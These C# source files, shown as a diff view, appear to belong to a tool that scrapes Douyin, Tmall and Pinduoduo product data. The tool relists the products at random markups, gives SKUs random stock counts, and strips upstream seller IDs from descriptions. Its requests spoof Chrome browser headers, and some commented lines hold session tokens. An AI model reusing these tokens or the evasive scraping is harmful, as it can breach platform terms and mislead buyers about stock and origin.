var contentMatch = BaseRegex.GetMatchRegex(ref description, "<img[^>]*?>([^>]+?)</img>");
if (contentMatch.Count == 0)
contentMatch = BaseRegex.GetMatchRegex(ref description, "<img[^>]*?src=\"([^>]+?)\"([^>]*?)>");
var contentStr = "";
for (int i = 0; contentMatch != null && i < contentMatch.Count; i++)
{
contentStr += "<img src=\"" + contentMatch[i].Groups[1].Value + "\" />";
}
Product.content = contentStr;
JObject jPropArr = jProd["data"]["product_format"] as JObject;
if (jPropArr != null)
{
foreach (var jProp in jPropArr)
{
Product.Prop.Add(new KeyValueBase(jProp.Key, jProp.Value.ToString()));
}
}
// 读取商品的sku属性和sku
// 读取sku属性
var propValueBaseList = new List<PropValueBase>();
var propsObjs = jProd["data"]["spec_info"];
foreach (var propsObj in propsObjs)
{
PropBase pb = new PropBase();
pb.name = propsObj["name"].ToString();
foreach (var prObj in propsObj["list"])
{
PropValueBase pr = new PropValueBase();
pr.name = prObj["name"].ToString();
pr.id = prObj["id"].ToString();
pb.Values.Add(pr);
propValueBaseList.Add(pr);
}
Product.Props.Add(pb);
}
// 读取属性图片
var skuImages = jSku["data"]["pic_map"] as JObject;
foreach (var imageObj in skuImages)
{
var imagePropValueId = imageObj.Key.ToString();
var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == imagePropValueId);
if (propValue != null)
propValue.image = "https://sf1-ttcdn-tos.pstatp.com/obj/" + imageObj.Value.ToString();
}
// 读取sku
var skuObjs = jSku["data"]["stock"] as JObject;
foreach (var skuObj in skuObjs)
{
var skuPropIdsStr = skuObj.Key.ToString();
var skuPropIdsArr = skuPropIdsStr.Split(';');
var skuValueObj = skuObj.Value;
var skuId = skuValueObj["id"].ToString();
var num = skuValueObj["stock_num"].ParseToInt();
if (num > 90)
num = 99;
var price = skuValueObj["discount_price"].ParseToDecimal() / 100;
var skuName = "";
foreach (var propId in skuPropIdsArr)
{
var propValue = propValueBaseList.FirstOrDefault(pr => pr.id == propId);
if (propValue != null)
{
var propGroup = Product.Props.FirstOrDefault(pg => pg.Values.Contains(propValue));
if (propGroup != null)
{
skuName += propGroup.name + ":" + propValue.name + ";";
};
}
}
skuName = skuName.TrimEnd(';');
if (string.IsNullOrEmpty(skuName))
continue;
SkuMapBase sm = new SkuMapBase();
sm.id = long.Parse(skuId);
sm.name = skuName;
sm.price = price;
sm.number = num;
Product.SkuMaps.Add(sm);
}
Product.from_title = Product.name;
ProductTemp.Add(Product.from_id, Product);
string saveHtml = JsonHelper.SerializeObject(Product);
IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 6, ProuctId = Product.from_id.ToString(), SaveHtml = saveHtml });
}
catch (Exception ex)
{
Message = ex.Message;
}
}
/// <summary>
/// 商品主图、属性、详情采集
/// </summary>
/// <returns></returns>
private string RequestProduct(string productId = "3496306606084372244")
{
HttpWebResponse response = null;
string result;
try
{
//https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=3508075071942062941&preview=0&is_native_h5=1&is_in_app=0
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/fxgajaxstaticitem?&b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&preview=0&is_native_h5=1&is_in_app=0");
request.KeepAlive = true;
request.Headers.Add("sec-ch-ua", @"""Google Chrome"";v=""105"", ""Not)A;Brand"";v=""8"", ""Chromium"";v=""105""");
request.Accept = "application/json, text/plain, */*";
request.Headers.Add("sec-ch-ua-mobile", @"?0");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36";
request.Headers.Add("sec-ch-ua-platform", @"""Windows""");
request.Headers.Add("Origin", @"https://haohuo.jinritemai.com");
request.Headers.Add("Sec-Fetch-Site", @"cross-site");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = "https://haohuo.jinritemai.com/";
//request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
//request.Headers.Set(HttpRequestHeader.Cookie, AllBase.Helper.GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功")?.Cookies);
//request.Headers.Set(HttpRequestHeader.Cookie, "msToken=SyvmaX114hG0QqSd-cZ3ZaS_-fgnxjUfBRR3HR8LN4YNU3L91jWVqXH6oWylsN6u7DPpNkIaUdiPSiOXjSfBgxdkuk-GYlahGDbT9We4WPry");
//request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606");
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException ex)
{
if (ex.Status == WebExceptionStatus.ProtocolError)
{
response = (HttpWebResponse)ex.Response;
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
else return ex.Message;
}
catch (Exception e)
{
if (response != null) response.Close();
return e.Message;
}
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
// Sku采集
private string RequestSku(string productId)
{
HttpWebResponse response = null;
string result = "";
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/getstock?id=" + productId + "&add_cart=0&b_type_new=0&device_id=0&is_outside=1");
request.KeepAlive = true;
request.Headers.Add("sec-ch-ua", @"""Chromium"";v=""92"", "" Not A;Brand"";v=""99"", ""Google Chrome"";v=""92""");
request.Accept = "application/json, text/plain, */*";
request.Headers.Add("sec-ch-ua-mobile", @"?0");
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36";
request.Headers.Add("Origin", @"https://haohuo.jinritemai.com");
request.Headers.Add("Sec-Fetch-Site", @"cross-site");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = "https://haohuo.jinritemai.com/";
//request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
//request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606");
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException ex)
{
if (ex.Status == WebExceptionStatus.ProtocolError)
{
response = (HttpWebResponse)ex.Response;
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
else return ex.Message;
}
catch (Exception e)
{
if (response != null) response.Close();
return e.Message;
}
result = GetProxyHtml.ReadResponse(response);
if (response != null) response.Close();
return result;
}
}
}
File diff suppressed because it is too large. Load diff
+677
View File
@@ -0,0 +1,677 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AllBase;
using Work.Api;
using Work.CollectClass;
namespace Work.CollectClass
{
public class DetailMobileCollect
{
public string Name, Content;
public bool IsUrlCollect = false, Pinduoduo = false;
public bool IsUpdateSku = false, ThisShopId = false;
public bool GetSuccess = false, NoTemp = false, Delete = false, NoContent = false, IsDown = false, IsExist = true, NoUpToServer = false;
public static bool LastError = false;
public decimal BeforePrice = 0, MinPrice = 0, MaxPrice = 0;
//public static Dictionary<long, ProductCollectBase> ProductTemp = new Dictionary<long, ProductCollectBase>();
public ProductCollectBase Product;
public DetailMobileCollect(ProductCollectBase product)
{
Product = product;
}
public void Get()
{
//if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
//{
// GetSuccess = true;
// Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone();
// return;
//}
GetSuccess = false;
Delete = false;
bool useTemp = false;
string urlProduct = "https://detail.m.tmall.com/item.htm?id=" + (ThisShopId ? Product.id : Product.from_id);
bool nokey = false, hadFile = false;
string content = "", newContent = "";
string refere = "";
//string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile);
//if(string.IsNullOrEmpty(html))
// html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
string html = "";
bool useUsa = false;
//if (LastError)
//{
// LastError = false;
// html = GetHtml.ByUsa(urlProduct, true, false);
// useUsa = true;
//}
//else
//{
//}
bool canUse;
string serverTempHtml = ServerTemp.Get(2, "main-tm-" + Product.from_id.ToString(), out canUse);
if (!canUse)
{
if (GetProxyHtml.ips != null && GetProxyHtml.ips.Count > 0)
{
html = GetProxyHtml.UploadProxyTaobao(urlProduct, refere, true, "");
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
if (html.Contains("宝贝不存在"))
{
IsExist = false;
LogSave.Add(Name, "宝贝不存在:" + urlProduct);
BigDataBuild.Delete(Product.from_id, 1);
return;
}
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
html = GetHtml.ByUsa(urlProduct, true, false);
useUsa = true;
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
Thread.Sleep(10000);
html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true);
useUsa = false;
}
if (string.IsNullOrEmpty(html) || !html.Contains("天猫商品详情"))
{
LastError = true;
LogSave.Add(Name, "读取页面失败:" + urlProduct);
return;
}
if (!string.IsNullOrEmpty(html) && (html.Contains("天猫商品详情") || html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\"")))
ServerTemp.Set(2, "main-tm-" + Product.from_id.ToString(), html);
}
else
{
html = serverTempHtml;
}
if (!string.IsNullOrEmpty(html) &&
(html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\"")))
IsDown = true;
if (string.IsNullOrEmpty(html) || html.Contains("redirectUrl") && !html.Contains("快递"))
{
LogSave.Add(Name, "宝贝已经下架:" + urlProduct);
BigDataBuild.Delete(Product.from_id, 1);
return;
}
GetSuccess = true;
html = GetHtml.Decode(html).Replace("\\\"", "\"").Replace("\\\\", "\\");
Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)""");
if (string.IsNullOrEmpty(Product.name))
{
//BigDataBuild.Delete(Product.from_id, 1);
if (IsUpdateSku)
{
Delete = true;
LogSave.Add(Name, "上家已经删除:" + (ThisShopId ? Product.id : Product.from_id));
}
else
{
LogSave.Add(Name, "标题获取错误:" + Product.from_url);
}
return;
}
string pricex = BaseRegex.GetMatchRegexString(ref html,
@"""transmitPrice"":\{""priceText"":""([\d\.]+)");
if (string.IsNullOrEmpty(pricex))
{
pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
}
if (string.IsNullOrEmpty(pricex))
pricex = BaseRegex.GetMatchRegexString(ref html,
@"""price"":\{""price"":\{""priceText"":""([\d\.]+)");
string price_beforex = BaseRegex.GetMatchRegexString(ref html,
@"""extraPrices"":\[\{""priceMoney"":""[\d]+"",""priceText"":""([\d\.]+)""");
if (string.IsNullOrEmpty(price_beforex))
{
price_beforex = pricex;
}
if (price_beforex == "0" || string.IsNullOrEmpty(price_beforex))
{
LogSave.Add("价格为空,退出:" + Product.from_url);
return;
}
Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount");
string eprice = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)");
Product.express_price = string.IsNullOrEmpty(eprice) ? 0 : decimal.Parse(eprice);
Product.price = decimal.Parse(pricex);
MinPrice = Product.price;
MaxPrice = Product.price;
Product.num = BaseRegex.GetIntJson(ref html, "num");
Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick");
if (Product.num == 0)
{
string num = BaseRegex.GetMatchRegexString(ref html, @"""skuCore"":[\w\W]+?""quantity"":""([\d]+)""");
if (string.IsNullOrEmpty(num))
num = BaseRegex.GetMatchRegexString(ref html, @"]},""skuCore"":[\w\W]+?""quantity"":([\d]+)}");
if (!string.IsNullOrEmpty(num))
Product.num = int.Parse(num);
}
Product.discountPrice = decimal.Parse(pricex);
Product.before_price = decimal.Parse(price_beforex);
Product.discount = Product.discountPrice / Product.before_price;//折扣比例
Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100;
if (IsUrlCollect)
{
Product.onlinePrice = GetOnlinePrice(Product.price);
}
if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分
{
goto GetSku;
}
string catId = BaseRegex.GetStringJson(ref html, @"categoryId");
catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId;
Product.cat_id = int.Parse(catId);
Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId");
Product.from_cat_id = Product.cat_id;
Product.from_site_id = 1;
if (Product.main_cid == 0)
{
LogSave.Add(Name, "没有找到主分类:" + Product.from_url);
return;
}
//===================标题过滤======================
string title = Product.name.ToLower();
long md5 = BaseClass.GetLong(Product.name);
foreach (string s in BaseClass.CantTitleKeywords)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantTitle)
{
if (title.Contains(s))
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
foreach (string s in BaseClass.CantCatId)
{
if (Product.cat_id.ToString() == s || Product.main_cid.ToString() == s)
{
nokey = true;
LogSave.Add(Name, s + " : " + title);
break;
}
}
string tempx = "";
var tempmc = BaseRegex.GetMatchRegex(ref html,
@"{""component"":""mui/wpimagetext/index""[\w\W]+?""image_text""}");
for (int i = 0; i < tempmc.Count; i++)
{
string item= tempmc[i].Groups[0].Value;
var mm = BaseRegex.GetMatchRegex(ref item, @"""img[^>]*?"":""([^>]+?)""");
for (int j = 0; j < mm.Count; j++)
{
tempx += "<img src=\"" + mm[j].Groups[1].Value + "\" />";
}
}
content = tempx;
if (string.IsNullOrEmpty(tempx))
{
LogSave.Add(Name, "描述正文正则失败,跳过 " );
return;
}
newContent = ClearContent(content);
if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty(newContent))
{
LogSave.Add(Name, "描述正文为空,跳过 " );
return;
}
Content = newContent;
Product.content = Content;
Product.item_size = "";
Product.item_weight = 1;
Product.state = "浙江";
Product.city = "杭州";
string address = BaseRegex.GetMatchRegexString(ref html, @"""delivery"":\{""from"":""([^""]+?)""");
if (string.IsNullOrEmpty(address))
address = BaseRegex.GetStringJson(ref html, @"location");
string[] provice =
"上海,北京,天津,重庆,黑龙江,辽宁,内蒙古,吉林,河北,河南,山西,山东,陕西,青海,宁夏,甘肃,新疆,西藏,四川,云南,贵州,广西,湖南,湖北,安徽,江苏,浙江,广东,福建,海南,台湾,香港,澳门".Split(',');
string[] city =
"上海,北京,天津,重庆,哈尔滨,沈阳,呼和浩特,长春,石家庄,郑州,太远,济南,西安,西宁,银川,兰州,乌鲁木齐,拉萨,程度,昆明,贵阳,南宁,长沙,武汉,合肥,南京,杭州,广州,福州,海口,台北,香港,澳门".Split(',');
if (!string.IsNullOrEmpty(address))
{
for (int i = 0; i < provice.Length; i++)
{
if (address.Contains(provice[i]))
{
Product.state = provice[i];
Product.city = city[i];
break;
}
}
}
string temp = BaseRegex.GetMatchRegexString(ref html, @",""images"":\[([^\]]+?)\]");
if (string.IsNullOrEmpty(temp))
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+)""");
if (m.Count == 0)
{
LogSave.Add(Name, "图片错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
Product.Images.Add(m[i].Groups[1].Value);
}
Product.image = Product.Images[0];
Product.image_from_url = Product.Images[0];
temp = BaseRegex.GetMatchRegexString(ref html, @"""props"":\{[\w\W]+?""groupProps"":([\w\W]+?)\]\}]");
if (!string.IsNullOrEmpty(temp))
{
m = BaseRegex.GetMatchRegex(ref temp, @"\{""([^""]+)"":""([^""]+)""\}");
if (m.Count == 0)
{
LogSave.Add("参数错误:" + Product.from_url);
return;
}
for (int i = 0; i < m.Count; i++)
{
string name = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
if (name.Length > 50 || value.Length > 50)
continue;
Product.Prop.Add(new KeyValueBase(name, value));
}
}
GetSku:
bool hadPrice = false;
m =BaseRegex.GetMatchRegex(ref html,
@"\{""name"":""([^""]+)"",""pid"":([\d]+),""values"":\[([\w\W]+?)\]\}");
for (int i = 0; i < m.Count; i++)
{
PropBase p = new PropBase();
p.id = long.Parse(m[i].Groups[2].Value);
p.name = m[i].Groups[1].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
temp = m[i].Groups[3].Value;
var mm = BaseRegex.GetMatchRegex(ref temp, @"""image"":""([^""]+?)"",""name"":""([^""]+?)"",""vid"":([\d]+?)\}");
for (int j = 0; j < mm.Count; j++)
{
string v = mm[j].Groups[3].Value;
string vi = mm[j].Groups[0].Value;
string image = BaseRegex.GetStringJson(ref vi, "image");
PropValueBase pr = new PropValueBase();
pr.value = v;
pr.name = mm[j].Groups[2].Value;
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = image;
pr.image_from_url = image;
bool hadx = false;
for (int k = 0; k < p.Values.Count; k++)
{
if (p.Values[k].name == pr.name)
{
hadx = true;
break;
}
}
if (!hadx)
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
if (Product.Props.Count > 2)
{
Product.Props = Product.Props.OrderBy(u => u.Values.Count).ToList();
int count = Product.Props.Count - 2;
Product.Props.RemoveRange(0, count);
Product.Props = Product.Props.OrderByDescending(u => u.sort).ToList();
}
m = BaseRegex.GetMatchRegex(ref html, @"""propPath"":""([-\d:;]+)"",""skuId"":([\d]+)");
for (int i = 0; i < m.Count; i++)
{
string skuid = m[i].Groups[2].Value;
string skuValues = m[i].Groups[1].Value;
var mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":[^\}]+?""priceText"":""([\d.]+)""[^\}]*?},""quantity"":([\d]+)\}");
if (mm.Count == 0)
{
LogSave.Add("SKU识别错误:" + Product.from_url);
continue;
}
string priceText = mm[0].Groups[1].Value;
decimal before_price = decimal.Parse(priceText);
decimal price = before_price;
string numberString = BaseRegex.GetMatchRegexString(ref html,
@"]},""skuCore""[\w\W]+?""" + skuid + @""":[\w\W]+?""quantity"":([\d]+)");
int number = 0;
if (!string.IsNullOrEmpty(numberString))
number = int.Parse(numberString);
if (number > 100)
number = 100;
string name = BuildName(skuValues);
if (string.IsNullOrEmpty(name))
continue;
bool had = false;
for (int j = 0; j < Product.SkuMaps.Count; j++)
{
if (Product.SkuMaps[j].name == name)
{
had = true;
break;
}
}
if (had)
{
continue;
}
mm = BaseRegex.GetMatchRegex(ref html,
@"""" + skuid + @""":{""price"":{""priceMoney"":([\d.]+?),""priceText"":""([\d.]+)""}");
if (mm.Count != 0)
{
price = decimal.Parse(mm[0].Groups[2].Value);//这是折扣后的价格
decimal dic = before_price > 0 ? price / before_price : 1;
if (dic < Product.discount)
Product.discount = dic;
}
SkuMapBase sm = new SkuMapBase();
sm.id = long.Parse(skuid);
sm.name = name;
sm.price = price;
if (MaxPrice < price)
MaxPrice = price;
if (MinPrice > price)
MinPrice = price;
sm.online_price = (int)(sm.price * Product.shopAddPercent / 100 +
new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100),
(int)(Product.shopAddPriceMax * 100)) / 100);
if (!Pinduoduo && (price < BaseClass.MinPrice || price > BaseClass.MaxPrice))
number = 0;
else
hadPrice = true;
if (IsUrlCollect)
{
sm.online_price = (int)GetOnlinePrice(sm.price);
}
sm.number = number;
sm.before_price = before_price;
sm.sale_count = 0;
Product.SkuMaps.Add(sm);
}
for (int i = 0; Product.discount < 1 && i < Product.SkuMaps.Count; i++)
{
if (Product.SkuMaps[i].number == 0)
Product.SkuMaps[i].price = Decimal.Round(Product.discount * Product.SkuMaps[i].before_price, 2);
}
try
{
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product);
}
catch
{
}
if (!hadPrice && (Product.price < (IsUpdateSku ? BaseClass.MinPrice * 0.8m : BaseClass.MinPrice) || Product.price > BaseClass.MaxPrice))
{
//LogSave.Add(Name, "价格太低:" + Product.from_url);
//if (IsUpdateSku)
//{
// SetSku( 0, 0, 5);
//}
//else
//{
// return;
//}
}
if (NoUpToServer)
return;
if (IsUpdateSku || Pinduoduo) //如果是更新上家价格,则执行此代码
{
if (Product.cat1 == 0)
{
FromTitleToCat.UserApi = true;
FromTitleToCat ft = new FromTitleToCat();
ft.TaobaoProduct = new TaobaoProductBase();
ft.Title = Product.name;
ft.TaobaoProduct.Titlte = Product.name;
ft.TaobaoProduct.FromId = Product.from_id;
ft.TaobaoCatId = Product.from_cat_id;
ft.JustGetCat = true;
ft.Get();
if (!string.IsNullOrEmpty(ft.Cat1) && ft.Cat1 != "0")
{
Product.cat1 = int.Parse(ft.Cat1);
Product.cat2 = int.Parse(ft.Cat2);
Product.cat3 = int.Parse(ft.Cat3);
Product.cat4 = int.Parse(ft.Cat4);
}
}
var ftc = new FromTitleToCat();
Product.main_cid = ftc.GetMainCatId(Product.cat1);
Product.main_cat_name = ftc.MainCatName;
return;
}
//淘宝大数据收集
//string json = JsonHelper.SerializeObject(Product);
//string data = "id=" + Product.id + "&site_id=" + Product.from_site_id + "&" + UserLogin.GetSignaturex() +
// "&json=" + GetHtml.UrlEncodeUtf8(json);
//string upUrl = BaseClass.BuildObjString("upload_data");
//html = GetHtml.PostUtf8(upUrl, data);
if (nokey)//过滤数据
return;
if (html == "Ok" || html == "Had")
{
LogSave.Add(Name, "采集成功:" + Product.id);
}
Product.from_title = Product.name;
}
/// <summary>
/// 生成名称
/// </summary>
/// <param name="name"></param>
/// <returns></returns>
private string BuildName(string name)
{
string temp = "";
for (int i = 0; i < Product.Props.Count; i++)
{
for (int j = 0; j < Product.Props[i].Values.Count; j++)
{
if (name.Contains(Product.Props[i].Values[j].value))
{
temp += Product.Props[i].name + ":" + Product.Props[i].Values[j].name + ";";
break;
}
}
}
if (string.IsNullOrEmpty(temp))
return "";
return temp.Substring(0, temp.Length - 1);
}
/// <summary>
/// 网址采集计算价格
/// </summary>
/// <param name="price"></param>
/// <returns></returns>
public decimal GetOnlinePrice(decimal price)
{
if (price < 40)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(1500, 2000);
}
else if (price < 100)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(2500, 3000);
}
else if (price < 200)
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(3000, 5000);
}
else
{
price = price * 100 + new Random(Guid.NewGuid().GetHashCode()).Next(4000, 6000);
}
return price / 100;
}
/// <summary>
/// 获取上家ID
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static long GetUpId(ref string content)
{
string upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#fff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*white[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"<[^>]*#ffffff[^>]*>[^<]*([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId) && content.Length > 100)
upShopId = BaseRegex.GetMatchRegexString(content.Substring(0, 100), @"[\D]([345][\d]{11})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"//item\.taobao\.com/item\.htm\?id=[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{11,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = BaseRegex.GetMatchRegexString(ref content, @"[\D]([\d]{6,12})[\D]");
if (string.IsNullOrEmpty(upShopId))
upShopId = "0";
long up;
long.TryParse(upShopId, out up);
return up;
}
/// <summary>
/// 清理正文
/// </summary>
/// <param name="content"></param>
/// <returns></returns>
public static string ClearContent(string content)
{
string newContent = BaseRegex.Relpace(content, @"(<img[^>]*assets\.alicdn\.com[^>]*>)", "");
ClearTable(ref newContent);
BaseRegex.Relpace(ref newContent, @"(<[aA] [\w\W]+?</[aA]>)", "");
BaseRegex.Relpace(ref newContent, @"(<p[^>]*>[^<]*[\d]{10,15}[^<]*</p>)", "");
BaseRegex.Relpace(ref newContent, @"(<[^>]*#ffffff[^>]*>[^<]*[\d]{10,15}[^<]*<[^>]*>)", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0;[\s]*height:[\s]*0;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"((<[pdiv]+[^>]*width:[\s]*0px;[\s]*height:[\s]*0px;[^>]*>[\w\W]*?</[pdiv]+>))", "");
BaseRegex.Relpace(ref newContent, @"(http[\s]{0,1}://item\.taobao\.com/item\.htm\?id=[\d]+)", "");
newContent = newContent.Replace("<p>&nbsp;</p>", "");
if (!newContent.Contains("<img "))
return content;
return newContent;
}
/// <summary>
/// 清除表格广告代码
/// </summary>
/// <param name="html"></param>
/// <returns></returns>
public static void ClearTable(ref string html)
{
if (string.IsNullOrEmpty(html))
return;
int i = html.IndexOf("<table");
Again:
int first = i;
if (i < 0)
return;
int end = html.IndexOf("</table", i);
if (i < 0 || end < 0 || end < i)
return;
int top = 1;
while (top > 0 && i >= 0)
{
end = html.IndexOf("</table", i);
string temp = html.Substring(i + 6, end - i + 2);
int add = (temp.Length - temp.Replace("<table", "").Length) / 6;
top = top - 1 + add;
int t1 = html.IndexOf("<table", end + 7);
int t2 = html.IndexOf("</table", end + 7);
if (t1 >= 0 && (t1 < t2 || t2 < 0))
i = t1;
if (t2 >= 0 && (t2 < t1 || t1 < 0))
i = t2;
}
string re = html.Substring(first, end - first + 8);
if (re.Contains("<a "))
{
html = html.Replace(re, "");
i = html.IndexOf("<table");
}
else
{
i = html.IndexOf("<table", end);
}
goto Again;
}
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+945
View File
@@ -0,0 +1,945 @@
using AllBase;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class JinBaoSpread
{
public static int Rate = 0;
public static int ShopRate = 0;
public static string goodId = "";
public static string Name="多多推广";
public static ShopChatBase Shop;
public static List<ShopChatBase> tempShops = new List<ShopChatBase>();
public static List<GoodRate> tempGoodRate = new List<GoodRate>();
public static string couponStartTime = "";
public static string couponEndTime = "";
public static long discount = 0;
//public static long commissionRate = 0;
public static int couCount = 1;
public static int goodCount = 500;
public static bool stopping = false;
public static int couCountx = 1;
public static long discountx = 0;
public static string couponStartTimex = "";
public static string couponEndTimex = "";
public static void WriteSpread()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/cps/api/edit/editMallUnit";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{\"rate\":\"" + ShopRate * 10 + "\" }";
//第一页匹配结果
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "店铺" + shop.ShopName + ",修改后的佣金比率将在第二天0点生效");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "店铺" + shop.ShopName+","+ errorMsg + ",修改佣金比率失败");
}
}
}
public static void GoodWriteSpread()
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html = api.UpdateExtension(goodId,Rate * 10);
if (html.Contains("{\"is_change_success\":true}"))
{
LogSave.Add(Name, "商品" + goodId + ",修改后的佣金比率将在第二天0点生效");
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
LogSave.Add(Name, "商品" + goodId + "," + errorMsg + ",修改佣金比率失败");
}
}
public static void CreateWriteSpread()
{
string[] goodsId = goodId.Trim().Replace("\r", "").Split('\n');
string units = "[";
for (int j = 0; j < goodsId.Length; j++)
{
units += "{\"goods_id\":\"" + goodsId[j] + "\",\"rate\":" + Rate * 10 + "},";
}
units = units.Substring(0, units.Length - 1);
units +="]";
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
string html = api.CreateGoodExtension(units);
if (html.Contains("{\"failed_vos\":[]}"))
{
